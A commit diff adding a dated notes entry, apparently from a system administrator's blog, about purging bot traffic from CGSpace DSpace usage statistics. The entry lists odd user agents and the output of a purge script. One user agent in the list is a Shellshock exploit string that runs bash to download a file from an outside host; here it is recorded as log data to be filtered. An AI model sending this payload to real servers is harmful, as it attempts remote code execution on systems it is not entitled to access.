Add notes for 2022-03-04

content/posts/2022-03.md

@@ -18,4 +18,56 @@ $ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv >
 
 <!--more-->
 
+## 2022-03-04
+
+- Looking over the CGSpace Solr statistics from 2022-02
+  - I see a few new bots, though once I expanded my search for user agents with "www" in the name I found so many more!
+  - Here are some of the more prevalent or weird ones:
+    - axios/0.21.1
+    - Mozilla/5.0 (compatible; Faveeo/1.0; +http://www.faveeo.com)
+    - Nutraspace/Nutch-1.2 (www.nutraspace.com)
+    - Mozilla/5.0 Moreover/5.1 (+http://www.moreover.com; webmaster@moreover.com)
+    - Mozilla/5.0 (compatible; Exploratodo/1.0; +http://www.exploratodo.com
+    - Mozilla/5.0 (compatible; GroupHigh/1.0; +http://www.grouphigh.com/)
+    - Crowsnest/0.5 (+http://www.crowsnest.tv/)
+    - Mozilla/5.0/Firefox/42.0 - nbertaupete95(at)gmail.com
+    - metha/0.2.27
+    - ZaloPC-win32-24v454
+    - Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.x.x) Gecko/20041107 Firefox/x.x
+    - ZoteroTranslationServer/WMF (mailto:noc@wikimedia.org)
+    - FullStoryBot/1.0 (+https://www.fullstory.com)
+    - Link Validity Check From: http://www.usgs.gov
+    - OSPScraper (+https://www.opensyllabusproject.org)
+    - () { :;}; /bin/bash -c \"wget -O /tmp/bbb www.redel.net.br/1.php?id=3137382e37392e3138372e313832\"
+  - I submitted [a pull request to COUNTER-Robots](https://github.com/atmire/COUNTER-Robots/pull/52) with some of these
+- I purged a bunch of hits from the stats using the `check-spider-hits.sh` script:
+
+```console
+]$ ./ilri/check-spider-hits.sh -f dspace/config/spiders/agents/ilri -p
+Purging 6 hits from scalaj-http in statistics
+Purging 5 hits from lua-resty-http in statistics
+Purging 9 hits from AHC in statistics
+Purging 7 hits from acebookexternalhit in statistics
+Purging 1011 hits from axios\/[0-9] in statistics
+Purging 2216 hits from Faveeo\/[0-9] in statistics
+Purging 1164 hits from Moreover\/[0-9] in statistics
+Purging 740 hits from Exploratodo\/[0-9] in statistics
+Purging 585 hits from GroupHigh\/[0-9] in statistics
+Purging 438 hits from Crowsnest\/[0-9] in statistics
+Purging 1326 hits from nbertaupete95 in statistics
+Purging 182 hits from metha\/[0-9] in statistics
+Purging 68 hits from ZaloPC-win32-24v454 in statistics
+Purging 1644 hits from Firefox\/x\.x in statistics
+Purging 678 hits from ZoteroTranslationServer in statistics
+Purging 27 hits from FullStoryBot in statistics
+Purging 26 hits from Link Validity Check in statistics
+Purging 26 hits from OSPScraper in statistics
+Purging 1 hits from 3137382e37392e3138372e313832 in statistics
+Purging 2755 hits from Nutch-[0-9] in statistics
+
+Total number of bot hits purged: 12914
+```
+
+- I added a few from that list to the local overrides in our DSpace while I wait for feedback from the COUNTER-Robots project
+
 <!-- vim: set sw=2 ts=2: -->